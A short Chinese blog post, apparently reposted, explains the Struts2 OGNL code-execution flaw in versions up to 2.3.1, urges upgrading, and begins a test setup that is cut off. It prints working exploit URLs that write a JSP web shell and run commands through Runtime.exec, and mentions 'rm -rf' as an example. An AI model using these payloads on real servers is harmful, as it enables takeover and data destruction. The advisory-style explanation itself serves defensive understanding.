struts2代碼執行漏洞


剛剛@烏雲-漏洞報告平台公布的struts2代碼執行漏洞,具體的漏洞說明地址 https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt 還是熱乎的,我大概白話一下。 這個漏洞的級別很高,都升級修補一下。 影響版本是2.3.1和2.3.1之前的版本 解決辦法是升級2.3.1.1 漏洞原理(自己理解的) Struts2的核心是使用的WebWork,處理Action時通過ParametersInterceptor(參數過濾器)調用Action的getter/setter方法來處理http的參數,它將每個http參數聲明為一個ONGL語句。 例如 處理請求配置這樣 <action name="Test" class="example.Test">     <result name="input">test.jsp</result> </action> 通過ONGL就可以轉換成 /Test.action?id='%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b' oh!god!系統權限就有了,想干什么,就可以干什么了。 或者這樣 /Test.action?id='%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))%2b' 想執行什么就可以執行什么了。比如 rm –rf /root.. 我根據說明做了一下測試 jdk:1.6 struts:2.2.1 代碼如下: struts.xml 1: <?xml version="1.0" encoding="UTF-8" ?> 2: <!DOCTYPE struts PUBLIC 3: "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" 4: "http://struts.apache.org/dtds/struts-2.0.dtd"> 5: <struts> 6: <package name="default" namespace="/" [...]


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM